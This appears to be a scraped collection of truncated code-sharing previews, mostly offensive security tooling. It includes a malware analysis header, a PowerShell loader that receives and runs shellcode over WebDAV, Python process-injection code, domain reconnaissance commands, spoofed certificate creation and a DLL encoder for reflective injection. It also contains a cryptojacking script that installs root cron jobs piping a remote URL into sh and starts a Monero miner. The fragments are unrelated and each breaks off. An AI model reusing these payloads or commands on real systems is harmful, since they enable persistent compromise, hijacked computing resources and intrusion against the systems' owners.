| ## uploaded by @JohnLaTwC | |
| ## sample hash: 50cde418da81fd42da8b8bb603aaebc30620e53a8b0c4e615a9dc09efc8bc728 | |
| olevba 0.52dev7 - http://decalage.info/python/oletools | |
| Flags Filename | |
| ----------- ----------------------------------------------------------------- | |
| MHT:MASIHB-- 50cde418da81fd42da8b8bb603aaebc30620e53a8b0c4e615a9dc09efc8bc728 | |
| =============================================================================== | |
| FILE: 50cde418da81fd42da8b8bb603aaebc30620e53a8b0c4e615a9dc09efc8bc728 | |
| Type: MHTML | |
| ------------------------------------------------------------------------------- |
| function Invoke-WebDavDelivery | |
| { | |
| <# | |
| .SYNOPSIS | |
| Receive a shellcode over WebDav PROPFIND channel, then load it into memory and execute it. | |
| This script requires its server side counterpart (webdavdelivery.py) to communicate with and actually deliver the payload data. | |
| Function: Invoke-WebDavDelivery | |
| Author: Arno0x0x, Twitter: @Arno0x0x |
| # Installing | |
| qemu-system-x86_64 -bios /usr/share/ovmf/ovmf_x64.bin -enable-kvm -cpu host -smp 4 -m 2048 -cdrom ~/Downloads/Win10_English_x64.iso -net nic,model=virtio -net user -drive file=~/vm/win10.hd.img.raw,format=raw,if=virtio -vga qxl -drive file=~/Downloads/virtio-win-0.1.105.iso,index=1,media=cdrom | |
| # Running | |
| qemu-system-x86_64 -bios /usr/share/ovmf/ovmf_x64.bin -enable-kvm -cpu host -smp 4 -m 4096 -net nic,model=virtio -net user -drive file=~/vm/win10.hd.img.raw,format=raw,if=virtio -vga qxl -usbdevice tablet -rtc base=utc |
| export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin | |
| echo "*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0623 | sh" > /var/spool/cron/root | |
| mkdir -p /var/spool/cron/crontabs | |
| echo "*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0623 | sh" > /var/spool/cron/crontabs/root | |
| # ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr & | |
| if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then |
| __author__ = 'srv' | |
| import smtplib | |
| from email.mime.multipart import MIMEMultipart | |
| from email.mime.text import MIMEText | |
| from email.mime.application import MIMEApplication | |
| username = '' # Email Address from the email you want to send an email | |
| password = '' # Password | |
| server = smtplib.SMTP('') |
From the vendor that brought you a
vulnerable cloud storage platform comes
___ ____ __ __ __
/ _ \___ ___ ____/ / / / /__ ___/ /__ _/ /____
/ // / -_) _ `/ _ / /_/ / _ \/ _ / _ `/ __/ -_)
/____/\__/\_,_/\_,_/\____/ .__/\_,_/\_,_/\__/\__/
Because popping SYSTEM /_/ is easy when you trust HTTP
Or, "How I learned to stop worrying and
| import sys | |
| from ctypes import * | |
| PAGE_READWRITE = 0x04 | |
| PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) | |
| VIRTUAL_MEM = ( 0x1000 | 0x2000 ) | |
| kernel32 = windll.kernel32 #Get the wanted dll | |
| pid = sys.argv[1] #Gather sent parameters |
| # get all the groups a user is effectively a member of, 'recursing up' | |
| Get-NetGroup -UserName <USER> | |
| # get all the effective members of a group, 'recursing down' | |
| Get-NetGroupMember -GoupName <GROUP> -Recurse | |
| # get the effective set of users who can administer a server | |
| Get-NetLocalGroup -Recurse SERVER.domain.local | |
| # retrieve all the computers a GPP password applies to |
| function Invoke-CreateCertificate([string] $certSubject, [bool] $isCA) | |
| { | |
| $CAsubject = $certSubject | |
| $dn = new-object -com 'X509Enrollment.CX500DistinguishedName' | |
| $dn.Encode( 'CN=' + $CAsubject, $dn.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) | |
| #Issuer Property for cleanup | |
| $issuer = 'Mycrosft' | |
| $issuerdn = new-object -com 'X509Enrollment.CX500DistinguishedName' | |
| $issuerdn.Encode('CN=' + $issuer, $dn.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) | |
| # Create a new Private Key |
| function Invoke-DllByteEncode | |
| { | |
| #Encoder used to take a dll and turn it into a base64 encoded byte array for Powersploit's | |
| #Invoke-ReflectivePEInjection | |
| Param( | |
| [Parameter(Position = 0)] | |
| [String] | |
| $InputPath, | |
| [Parameter(Position = 1)] | |
| [String] |